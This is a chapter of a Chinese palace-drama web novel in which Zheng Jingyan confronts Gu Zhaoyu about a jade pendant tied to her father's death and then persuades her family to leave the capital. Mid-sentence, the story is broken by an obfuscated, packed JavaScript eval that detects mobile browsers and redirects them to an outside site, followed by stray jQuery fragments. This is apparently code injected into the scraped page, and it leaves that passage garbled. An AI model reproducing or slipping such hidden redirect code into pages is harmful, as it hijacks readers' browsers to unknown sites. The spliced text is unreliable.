33. 质问

作品:《我在深宫当废后

    冬日这个时辰殿内早已暗淡了下来,宫人尚未掌灯,借着从外泄进的余光,面前那道面容也清晰起来。


    顾昭瑜垂眸,想要去扶起她,听见这个语气,手就那样顿在了半空,只是对着她道“起来吧。”


    她与郑京燕已经许久未见,没想到再度见面会是如此尴尬的场面,她相比于从前消瘦了不少,今日抹了脂粉,也掩不住眼下的乌青,那双黑眸中透着淡淡的死气。


    顾昭瑜对这种神情不陌生,之前每日在镜中看见自己都是这幅神情。


    “娘娘,今日我来是像您打听几件事。”郑京燕声音透着疏离。


    顾昭瑜没有回,只是转头吩咐道“你们两个下去吧,然后去让厨房煮杏仁茶端过来。”


    婢女依言退了下去,郑京燕闻言眸光淡淡看了她一眼,“难为娘娘还记得。”


    “当然,这是我们的约定。”顾昭瑜淡笑道。


    “约定……”郑京燕眸子微垂,想起从前,眼中才带了抹生气。


    顾昭瑜将她的神色收入眼底,原来过去的记忆谁也不曾忘记。


    殿门关闭,如今空阔的殿宇只有她们二人。


    顾昭瑜开口问道“你今日过来想问什么?”


    “今日我来是想问这个。”郑京燕从随身的荷包内,掏出了一枚羊脂白玉佩,下面缀着青色的流苏。


    顾昭瑜看着这枚玉佩愣了一瞬,玉佩由上好的白玉雕成,做成了平安扣的样式,上面隐隐约约刻有缠枝莲纹样。


    “这不是你的玉佩吗?”顾昭瑜抬眼看向她,问道。


    “娘娘不妨仔细看看。”她将玉佩递给顾昭瑜。


    顾昭瑜伸手接过玉佩,摸了摸表面的纹路,这确实是之前那枚玉佩,她仔细瞧了几眼,忽的目光一顿,眼神在细小的痕迹上略过,随即顿住。


    这不是郑京燕的玉佩。


    这个玉佩样式一共雕刻了三枚,她也有一枚,如今还放在妆匣里面。


    “你从何处得到的?”这是顾安知的玉佩,想到此她语气有些焦急。


    观她神色,郑京燕就知道她想起来了,也没着急答话,只是冷淡问道“她不在京城,去了哪儿?”


    郑京燕眸光寒冷打量着她。


    “云州。”


    “那为何她的物件会出现在我父亲手中?”郑京燕语气平静,表情却已经几乎要维持不住。


    顾昭瑜低下眸,不敢去看她的眼睛,“我不知道。”


    “顾昭瑜,我父亲死了……你现在和我说不知道。”郑京燕叫着她的名字,目光几乎泛红,黑眸中的恨意几乎不加掩饰。


    一阵风恰在此时掠过,猛地吹开本就虚掩着的窗棂,发出的巨响在这时显得极为刺耳。


    还伴随着郑京燕几乎恳求的低语,“那你告诉我,是谁动的手?”


    顾昭瑜握紧了手心,心中那个答案,愈发清晰,可是她不能说,郑家如今没有郑侍郎,就是砧板上的鱼肉,任人宰割。


    于是咬牙道“我不知道。”


    “你怎么会不知道呢?”郑京燕看着她,“我不信。”


    郑京燕话语似乎从牙缝里挤出,她一字一句道“那你可知当时这枚玉佩,是要当做证物交给刑部的。”


    她看着顾昭瑜眸中蕴含着失望,“我回他们,这是我给父亲的玉佩,寓意平安。”


    “负责此案的官员,询问过好几遍,我自知不对劲,于是便打碎了我自己的玉佩,让人扔了出去。”


    “我信你,信顾家,你可曾信我?”郑京燕眸中愈发失落绝望。


    殿中空旷,她的质问字字清晰,地龙散发着暖气,顾昭瑜却只觉寒意从脚底一直漫到了胸腔。


    顾昭瑜嘴唇微动,藏在袖中的手微微发抖。


    “京燕,你放心,我会查清一切。”顾昭瑜看着她,上前握住她冰凉的手,“你将这件事交给我好不好?”


    “不好。”郑京燕用力甩开,再也不像以往一般,声音透着凄厉,“顾家的恩怨,朝堂阴谋我都不想管。”


    “可是你告诉我,父亲做错了什么。”


    “就因为我们郑家和你们顾家有关系?还是因为他为官清正古板?”


    她控诉,她不甘,将所有愤怒和指责对向面前一言不发的人。


    郑京燕压抑着声音,眼中含泪,“我好恨,恨顾家,若不是因为你们,父亲怎么会卷入朝堂之争。我也恨你,恨你不听我的劝阻,入了宫。”


    “更恨我自己,若不是我喜欢你兄长,父亲怎么会去给你兄长挡刀!”


    “事到如今,”郑京燕开口满是绝望,“我连追求真相的权利都没有了吗?”说到最后声音渐小,她只觉喉头哽咽。


    顾昭瑜脸上的所有表情,在那一句质问之后,一点点褪去,最后归于一片平静,就这样沉默的看着她,没有安慰,没有辩解。


    过了许久,直到天光都明显暗淡了下来,她才开口,“京燕,我们确实对不起你。”


    “可是父亲死了,兄长昏迷,我比你更想知道真相。”


    说完这句,她眸光划过那张布着泪痕的脸,“我不是阻止你追求真相,我能理解你的痛苦,不甘,甚至怨恨。”


    她对上那双藏着恨的眼,“但是京燕,给我机会,我会查清一切,为伯父和父亲报仇。”


    殿中安静的只能听到对方厚重的呼吸声。


    就在这时,殿外有宫女询问的声音传来,“娘娘,杏仁茶好了。”


    顾昭瑜正要出声,又想到了什么,自己亲手去将茶端了进来。


    杏仁的香气从白瓷杯盏中散发而出,奶白色茶汤醇厚甘甜,顾昭瑜轻推给她,缓了缓开口,“我没有资格替你做选择,也没有办法阻止你去调查真相。”


    “没了伯父,你们郑家在京城的处境会很艰难,无论是为了自己还是京扬,离开京城。”顾昭瑜知道这些话无疑是在对方的心里撒盐,但只要能让郑京燕放弃,当个恶人又如何?


    郑京燕审视着她,她的话语很刺耳,可是她却说不出任何一句辩驳的话语、


    而且有一点她说的没错,顾昭瑜确实比她更想知道真相。


    顾昭瑜又轻推了下茶盏,郑京燕鼻尖漫过一股香甜,“京燕,交给我。”


    郑京燕久久没有答话,直到天色昏暗,最后一点天光被吞噬殆尽,她才将那盏已经只剩温热的杏仁茶,放在唇瓣边,茶汤入口,一股苦味蔓延在齿间。


    苦,她感受不到甜。


    一盏茶喝完,她才起身看向对面,“顾昭瑜,希望你说到做到。”


    郑京燕出宫时,恰好宫门落锁,郑府的马车早已等候在那里,她提起裙摆,扭头看了眼那道巍峨辉煌的宫门


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17128163|192233||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,毅然的上了车。


    马车向府中驶去,回到府中时,府中已经燃起了灯,郑母站在府门前,看着女儿回来才松了口气。


    郑京燕心下微酸,“母亲。”她小跑过去,抱住郑夫人。


    郑夫人面容保养的不错,这几日下来却隐隐有些老态,安抚地拍了拍她的后背,温声道“见着娘娘了吗?”


    她将头埋在母亲的肩膀处,声音闷闷的“见到了。”


    “那个玉佩……”郑夫人担忧看着女儿,她知道女儿的玉佩根本没给自家老爷,毕竟当时的行囊,是她亲手准备的。


    “是顾安知的。”郑京燕轻声道,外面风大,她系着披风,母亲却没有,“母亲,我们回府说。”


    “弟弟还在温书吗?”郑京燕进府看了眼,左侧的一间房,灯盏还亮着,问道。


    “是啊,自从你父亲下了葬,回来后,就将自己关进了房中。”郑夫人叹了口气。“你有时间去劝劝你弟弟,叫他别逼自己太紧。”


    “好。”


    到了房中,郑京燕拉过母亲的手,“母亲,玉佩这件事千万不能透露给其他人。”


    “母亲心里有数。”郑夫人虽痛心夫君的死,却也知这件事有问题。


    “她劝我离开京城。”郑京燕看着母亲,想要征求她的意见。


    郑夫人微微叹气,“可是离开这儿,我们还能去哪儿?”


    “外祖母家。”这是她回府途中仔细想过的,唯一不引人注意的法子。


    “京扬那边怎么办?”郑夫人看着女儿,眸中带着不舍。


    “我去劝他。”


    “京扬。”郑京燕敲了敲房门,门里的灯还亮着,却无人回应。


    “那姐姐进来了。”她推开门,就见少年趴在了桌案上,她脚步不由得放轻。


    本以为少年是睡着了,没想到身体却在微微颤抖着,她伸手轻推了下,少年只是赌气般的,将头埋在手臂里,隐隐约约有啜泣声传来。


    “京扬,你把头抬起来。”郑京燕又轻晃了几下。


    少年这才抬起头,泪痕未干,他手臂下还放着几本书册,有些地方色泽微微加深。


    “阿姐。”少年带着鼻音,他的面容继承了郑昌的清峻,只是还未张开,稍显稚嫩了些,一双眸子清亮的过分。


    “男子汉大丈夫,偷偷哭鼻子算什么。”郑京燕轻敲了他的脑袋。


    郑京扬将头扭向一边,没有说话。


    “这么晚了,就别看书了。”郑京燕看了眼书册,垂眸便见翻开的一页中有父亲的笔迹,眼眶也有些发酸,她将书不动声色的合上,又看向弟弟,“阿姐这么晚过来,是想问你愿不愿意离开京城?”


    郑京扬转头,眸子满是不解,“为什么要离开?”


    郑京燕敛眸道“父亲走了,母亲和我决定回外祖母家。”


    “我不走。”郑京扬倔强看着她,“我不走!”


    郑京扬将桌上书册抱在怀里,“父亲刚走,你们为什么要离开!”


    他情绪激动的说“我答应了父亲,来年要参加科考。”


    “我们先去外祖母家,来年考。”


    “我不走。”郑京扬眸中泪水越发汹涌,却还是忍着泪道“别以为我不知道,你们是害怕伤害父亲的人。”


    “你知道了什么?”郑京燕眸中一颤。